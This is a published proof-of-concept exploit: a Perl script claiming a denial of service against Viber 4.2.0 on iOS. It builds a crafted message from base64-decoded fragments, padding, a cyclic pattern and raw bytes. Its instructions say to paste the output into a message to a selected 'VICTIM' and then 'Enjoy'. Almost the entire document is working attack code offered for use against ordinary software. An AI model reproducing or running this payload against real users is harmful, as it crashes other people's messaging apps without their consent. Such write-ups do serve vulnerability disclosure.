Viber 4.2.0 – Non-Printable Characters Handling Denial of Service
#!/usr/bin/perl -w #-*- coding: utf-8 -* # #[+] Title: Viber Non-Printable Characters Handling Denial of Service Vulnerability #[+] Product: Viber #[+] Vendor: http://www.viber.com/en/ #[+] SoftWare Link : https://itunes.apple.com/app/viber-free-phone-calls/id382617920?mt=8 #[+] Vulnerable Version(s): Viber 4.2.0 on IOS 7.1.2 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham #Source : https://www.securityfocus.com/bid/75217/info # 1.run perl code # 2.Copy the perl output text # 3.Open Viber Desktop # 4.Select Your VICTIM # 5.Paste and Message # 6.Enjoy use open ':std', ':encoding(UTF-8)'; system(($^O eq 'MSWin32') ? 'cls' : 'clear'); use MIME::Base64; $ut="M7tktuYbL14T"; $utd = decode_base64($ut); $lt="sNiw2KAg2KAg2Ao="; $ltd = decode_base64($lt); $bt="M7tktuYbL14T"; $btd = decode_base64($bt); $junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9". "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9". "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9". "Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9". "Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9". "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9". "Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9". "Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9". "Aq0Aq1Aq2Aq3Aq4Aq5Aq"; $tt="\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"; $buffer = "A"x153; # 100xA $buffer1 = "A"x63; #5xA print "\n\n$utd$buffer$ltd$tt$buffer1$junk$btd\n\n"; #END <3 |